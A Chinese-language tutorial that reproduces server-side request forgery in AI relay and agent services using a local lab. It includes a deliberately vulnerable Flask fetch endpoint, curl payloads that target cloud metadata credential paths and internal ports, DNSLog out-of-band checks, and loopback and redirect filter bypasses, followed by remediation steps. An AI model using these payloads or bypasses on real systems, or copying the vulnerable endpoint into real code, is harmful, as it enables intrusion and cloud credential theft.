SSRF漏洞在AI中转、Agent系统中高发场景完整复现

SSRF（服务端请求伪造）在 AI 中转和 Agent 系统中非常常见，本质是服务端接收用户提供的 URL 后直接发起请求，未校验目标地址是否为内网或云元数据接口。
本文会用一个本地实验环境，完整复现这类漏洞的触发过程，并给出可落地的验证和修复方法。
整个过程只需要一台 Linux 主机、Python 环境和常用调试工具，适合零基础开发者对照学习。

为什么 AI 中转和 Agent 系统容易成为 SSRF 重灾区

AI 中转接口通常需要把用户输入的链接传给后端模型或 Agent 工具去抓取网页内容，例如“帮我读取这个网址摘要”。
如果后端不区分请求目标是公网还是内网，攻击者就能把 URL 改成 http://127.0.0.1:6379、http://169.254.169.254/latest/meta-data/ 等内网地址，从而探测内网服务或窃取云服务器凭证。
Agent 系统中多个工具链互相调用，还会放大这种风险。

本地环境准备：三步搭好靶场

先准备一台用于授权的测试机器，推荐使用 Docker 隔离网络，避免影响宿主机。
以下步骤基于 Ubuntu 22.04 测试。

1. 创建漏洞模拟服务目录并写入接口代码：

mkdir ssrf-lab && cd ssrf-lab
cat > app.py << 'EOF'
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    # 漏洞代码：直接请求任意 URL
    resp = requests.get(url, timeout=5)
    return resp.text

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)
EOF

1. 安装依赖并启动服务：

pip3 install flask requests
python3 app.py

1. 在另一个终端模拟内网目标服务（本机的 9000 端口）：

python3 -m http.server 9000

此时访问 http://你的IP:8080/fetch?
url=http://127.0.0.1:9000/，如果返回了 9000 端口服务的目录列表，说明服务端确实可以访问内网资源，SSRF 已初步确认。

完整复现：用 DNSLog 验证外带数据

仅看回显容易被防火墙拦截，更可靠的方式是使用 DNSLog 平台验证请求是否发出。
到任意 DNSLog 服务商获取一个子域名，然后在无回显场景或者需要探测内网端口时执行：

curl "http://你的IP:8080/fetch?url=http://你的dnslog域名/"

如果 DNSLog 后台收到解析记录，证明服务端发起了请求。
这种验证方式不需要看到响应内容，适合判断盲 SSRF。

接着模拟攻击者读取云元数据凭证：

curl "http://你的IP:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

在本地靶场中不会返回真实数据，但在云环境中可能直接暴露临时密钥。
这个步骤只用于理解原理，禁止对未授权目标执行。

避坑指南：复现过程中最常踩的四个问题

第一，
请求被内置 SSRF 防护拦截。 部分框架或代理会拒绝 IP 字面量，
可以尝试 http:
//127.1/、http:
//[:
:1]:
9000/ 或 URL 重定向绕过，
但应在授权范围内测试。

第二，DNS 解析发生在应用层。 如果内网域名解析失败，可先把测试域名写入 /etc/hosts 指向 127.0.0.1，再触发请求。

第三，超时设置过短。 内网探测通常需要逐个端口测试，建议把接口超时调到 10 秒以上，避免误判漏洞不存在。

第四，混淆了“回显”和“触发”。 很多 SSRF 不直接返回响应内容，要用 DNSLog 或者抓包确认，不要因为页面空白就放弃验证。

修复建议与验证清单

修复方案按优先级排列：

• 对用户输入的 URL 做协议白名单，只允许 http 和 https；
• 解析 URL 中的域名获得 IP，然后拒绝私网地址段（10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8）和链路本地地址（169.254.0.0/16）；
• 禁止跟随重定向，或每次重定向都重新校验；
• 云环境尤其要封堵 169.254.169.254；
• 使用 SSRF 防护组件或单独的外呼代理，统一收敛出口流量。

验证修复是否生效，可以用一套自动化脚本重复执行上述 DNSLog 请求和元数据请求，确认无法再获得内网响应或外带解析记录。
建议把这类用例纳入 CI/CD 安全测试中，防止回归。

如果你正在处理 SSRF 漏洞在 AI 中转、Agent 系统中的安全问题，可以直接把本文的靶场代码复制到隔离环境跑一遍，再对照修复建议检查自己的接口。
遇到被框架拦截的情况，优先确认拦截逻辑是否覆盖了 DNS 重绑定场景。
只有先完整复现，才能确定防护边界在哪里。